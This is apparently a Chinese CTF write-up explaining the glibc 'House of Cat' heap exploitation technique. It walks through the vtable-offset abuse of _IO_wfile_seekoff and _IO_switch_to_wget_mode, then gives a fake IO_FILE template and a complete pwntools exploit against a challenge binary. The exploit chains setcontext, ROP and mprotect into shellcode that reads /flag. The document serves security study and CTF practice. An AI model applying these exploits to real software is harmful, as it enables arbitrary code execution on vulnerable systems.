利用效果

House of Cat通过修改虚表指针的偏移,转而调用**_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入到_IO_switch_to_wget_mode函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可(通常是结合__malloc_assert**,改vtable为**_IO_wfile_jumps+0x10**)。

利用条件

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

利用原理

IO_FILE结构及利用

在高版本libc中,当攻击条件有限(如不能造成任意地址写)或者libc版本中无hook函数(libc2.34及以后)时,伪造fake_IO进行攻击是一种常见可行的攻击方式,常见的触发IO函数的方式有FSOP、__malloc_assert(当然也可以用puts等函数,只不过需要任意地址写任意值直接改掉libc中的stdout结构体)

vtable检查

在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。

1
2
3
4
5
6
7
8
9
10
11
void _IO_vtable_check (void) attribute_hidden;
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}

其检查流程为:计算_IO_vtable 段的长度(section_length),用当前虚表指针的地址减去_IO_vtable 段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。

虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个**_IO_xxx_jumps**的任意偏移,使得其调用攻击者想要调用的IO函数。

所以不能再单独直接伪造整个vtable,修改到vtable内任意偏移地址还是可以的

两种触发方式

__malloc_assert

在glibc中存在一个函数_malloc_assert,其中会根据vtable表如_IO_xxx_jumps调用IO等相关函数;该函数最终会根据stderr这个IO结构体进行相关的IO操作

FSOP

FSOP就是通过劫持_IO_list_all的值(如large bin attack修改)来执行_IO_flush_all_lockp函数,这个函数会根据_IO_list_all刷新链表中的所有文件流,在libc中代码如下,其中会调用vtable中的IO函数_IO_OVERFLOW,根据我们上面所说的虚表偏移可变思想,这个地方的虚表偏移也是可修改的,然后配合伪造IO结构体可以执行house of cat的调用链

利用链

原本的利用链exit()——>__call_tls_dtors()——>_IO_flush_all_lockp()——>_IO_OVERFLOW

篡改的利用链exit()——>__call_tls_dtors()——>_IO_flush_all_lockp()——>_IO_wfile_seekoff——>_IO_switch_to_wget_mode——>_IO_WOVERFLOW

原理

通过伪造或者修改stderr,篡改vtable为_IO_wfile_jumps+0x10,当触发exit时,进入到_IO_flush_all_lockp(),原本是根据_IO_FILE_jumps寻找0x20出的_IO_OVERFLOW,但是由于vtable被篡改,此时就会找到_IO_wfile_jumps+0x10+0x20处的_IO_wfile_seekoff,其中的参数fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,然后接下来会执行_IO_WOVERFLOW函数。

其中_IO_wfile_seekoff函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}

_IO_switch_to_wget_mode函数代码

1
2
3
4
5
6
7
8
int
_IO_switch_to_wget_mode (``FILE` `*``fp)
{
``if` `(fp``-``>_wide_data``-``>_IO_write_ptr > fp``-``>_wide_data``-``>_IO_write_base)
``if` `((wint_t)_IO_WOVERFLOW (fp, WEOF) ``=``=` `WEOF)
``return` `EOF;
``......
}

关键部分

1
2
3
4
5
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
1
2
3
4
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。
4.call调用[rax2+0x18]处的内容。

所以这可以控制部分寄存器,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)

高版本中的setcontext是通过rdx寄存器操作的

模板

伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

题目

image-20240406121010597

只能add三次,content存在8字节的溢出,没有free,只有一次edit并且会直接exit()

攻击思路

首先利用house_of_orange,通过修改top_chunk的size,然后malloc一个大于size的chunk,会将top_chunk释放到unsortedbin中,即可泄露libc。

image-20240406121424387

可以发现,add时的index是可以我们自己选择,然后可以利用edit(-4)来实现修改IO_FILE_stderr,并且edit中的read的rdx参数就是chunk的addr,能造成范围溢出。就可以利用house_of_cat

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28318)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size,content):
rl("choice: ")
sl('1')
rl("idx: ")
sl(str(index))
rl("size: ")
sl(str(size))
rl("content: ")
s(content)
def show(index):
rl("choice: ")
sl('2')
rl("idx: ")
sl(str(index))
def edit(index,content):
rl("choice: ")
sl('4')
rl("idx: ")
sl(str(index))
rl("content: ")
s(content)
gdb.attach(p)
add(4,0x88,'a'*0x88+p64(0xfd1))
add(5,0x1000,'a')
add(6,0xf40,'a')
show(6)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0xa261+0x9cf0-0x219cf0
lg("libc_base",libc_base)
stderr = libc_base+libc.sym['_IO_2_1_stderr_']
lg("stderr",stderr)
setcontext = libc_base + libc.sym['setcontext'] + 61
ret = libc_base+0x29cd6
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
lg("vtable",libc_base + 0x2160c0 + 0x30)
pause()

fake_IO_FILE = p64(0) #_flags=rdi
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(1) + p64(2)
fake_IO_FILE += p64(stderr + 0x120 - 0xa0) #_IO_backup_base = rdx
fake_IO_FILE += p64(setcontext) #_IO_save_end = call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68,'\x00')
fake_IO_FILE += p64(0) #chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88,'\x00')
fake_IO_FILE += p64(stderr+300) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(stderr+0x30) #_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libc_base + 0x2160c0 + 0x30) # vtable = IO_wfile_jumps + 0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(stderr + 0x40) # rax2_addr
fake_IO_FILE = fake_IO_FILE.ljust(0x120, '\x00') + p64(stderr + 0x128) + p64(ret)

payload = p64(pop_rdi) + p64((stderr >> 12) << 12) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_r12) + p64(7)*2 + p64(mprotect) + p64(stderr + 0x178) + asm(shellcraft.cat('/flag'))

fake_IO_FILE += payload
edit(-4,fake_IO_FILE)

inter()

setcontext+61

image-20240406122135178